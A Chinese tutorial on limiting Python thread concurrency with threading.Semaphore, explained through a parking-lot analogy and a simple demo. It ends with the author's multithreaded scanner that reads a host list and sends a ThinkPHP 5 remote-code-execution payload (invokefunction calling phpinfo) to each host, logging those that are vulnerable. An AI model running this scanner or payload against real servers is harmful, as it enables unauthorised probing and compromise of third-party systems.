Python多线程Semaphore实现线程数控制的示例
本文介绍如何利用Python的Semaphore类控制多线程并发数量，通过示例代码展示如何限制同时执行的线程数，避免资源过度消耗。
Python多线程Semaphore实现线程数控制的示例
此前曾撰写过一篇关于Python多线程实现的文章，但发现其效果并非最优，代码结构也有待改进。经过网络学习，我了解到Semaphore这一概念。
根据百度百科的解释，Semaphore是一种用于多线程环境的设施，旨在协调各线程，确保它们能够正确、合理地使用公共资源。它也是操作系统中用于控制进程同步互斥的量。
一个有趣的例子：假设停车场只有三个车位，一开始三个车位都是空的。这时如果同时来了五辆车，看门人允许其中三辆不受阻碍的进入，然后放下车拦，剩下的车则必须在入口等待，此后来的车也都不得不在入口处等待。这时，有一辆车离开停车场，看门人得知后，打开车拦，放入一辆，如果又离开两辆，则又可以放入两辆，如此往复。
简而言之，也就是能够控制多线程并发的数量。
简单记录一下如何通过semaphore实现线程数的控制。
简单代码：
#! -*-coding: utf-8-*-
import threading
import time
class test(threading.Thread): #继承threading类
def __init__(self, i, sem):
super(test, self).__init__() #继承python的构造方法，这为python2的写法，python3可直接super().__init__()
self.i = i
self.sem = sem
def run(self):
time.sleep(0.1)
print("the test i is : " + str(self.i))
self.sem.release() #释放线程数，线程数加1
if __name__ == '__main__':
sem = threading.Semaphore(5) #设置可同时执行的最大线程数
for i in range(50):
sem.acquire() #获得线程，可用线程数减1
t = test(i, sem) #给执行函数传递值
t.start() #执行函数
sem = threading.Semaphore(5) #设置可同时开启的线程数，这里为5个每执行一次函数的时候就获得一个线程数，sem.acquire()；每次执行完函数，就会释放一个线程数，sem.release()。只要acquire()的线程数达到了最大数（这里为5），后面的线程就只能先等待前面获得的线程执行完函数过后释放，后面的线程才能继续执行。
整个流程理解起来其实也很简单。
之前写过一次开10个线程的多线程脚本，但是方法不够好，这次用这个方法改了一下，贴在这里(扫描tp5是否存在代码执行漏洞的扫描脚本)：
# -*- coding:UTF-8 -*-
import requests
import threading
import time
import sys
class check(threading.Thread): #判断是否存在这个漏洞的执行函数
def __init__(self, url, sem):
super(check, self).__init__() #继承threading类的构造方法，python3的写法super().__init__()
self.url = url
self.sem = sem
def run(self):
time.sleep(0.2)
parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
try:
responce = requests.get(url = self.url, params = parameters)
body = responce.text
if body.find('PHP Extension') != -1:
with open("success.txt", "a+") as f1:
f1.write("存在tp5远程代码执行漏洞: " + self.url + "\n")
print("[+] " + self.url)
else:
print("[-] " + self.url)
except Exception,err:
print("connect failed")
pass
self.sem.release() #执行完函数，释放线程，线程数加1
class host(threading.Thread): #遍历文件操作
def __init__(self, sem):
super(host, self).__init__() #继承threading类的构造方法，python3的写法super().__init__()
self.sem = sem
def run(self):
with open(sys.argv[1], "r") as f:
for host in f.readlines():
self.sem.acquire() #遍历一个就获得一个线程，直到达到最大
host = "http://" + host.strip()
host_thread = check(host, self.sem)
host_thread.start() #执行check()的执行函数
if __name__ == '__main__':
sem = threading.Semaphore(10) #最大线程数为10个
thread = host(sem) #传递sem值
thread.start()
到此这篇关于python多线程semaphore实现线程数控制的示例的文章就介绍到这了,更多相关python 线程数控制内容请搜索本站以前的文章或继续浏览下面的相关文章希望大家以后多多支持本站！
本站声明
本文内容仅供参考，不代表本站观点。转载或引用请注明出处。如发现内容问题，请通过联系我们页面反馈。
